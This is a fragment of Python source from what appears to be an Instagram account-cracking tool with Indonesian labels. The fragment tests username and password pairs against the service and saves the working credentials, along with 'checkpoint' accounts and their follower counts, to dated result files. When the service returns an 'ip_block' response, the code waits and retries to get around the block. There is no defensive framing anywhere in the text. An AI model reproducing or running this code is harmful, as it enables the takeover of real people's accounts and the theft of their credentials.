print("")
prints(Panel(f'\r{P2}[{H2}✓{P2}] Username : {H2}{user} \n{P2}[{H2}✓{P2}] Password : {H2}{pw}',title=f"{H2}LIVE",width=80,padding=(0,4),style=f"{H2}"))
print("")
open(f"result/success-{day}.txt","a").write(f'{user}|{pw}\n')
break
elif 'href="https://www.instagram.com/challenge/action/"' in str(respon.text):
nama,pengikut,mengikut,postingan=self.APIinfo(user)
prints("")
prints(Panel(f'\r{P2}[{K2}X{P2}] Nama : {K2}{nama} \n{P2}[{K2}X{P2}] Username :{K2} {user} \n{P2}[{K2}X{P2}] Password :{K2} {pw} \n{P2}[{K2}X{P2}] Pengikut : {K2}{pengikut} \n{P2}[{K2}X{P2}] Mengikuti : {K2}{mengikut} \n{P2}[{K2}X{P2}] Postingan : {K2}{postingan}',title=f"{K2}CHECKPOINT",width=80,padding=(0,4),style=f"{color_table}"))
print("")
open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
checkpoint.append(user)
break
elif 'ip_block' in str(respon.text):
sys.stdout.write(f'\r {N}# {H}stabil {N}{loop}/{len(internal)} OK-:{H}{len(success)} {N}CP-:{K}{len(checkpoint)} {P}');sys.stdout.flush()
time.sleep(5)
self.crackAPI(user, pas,awal)
else:
continue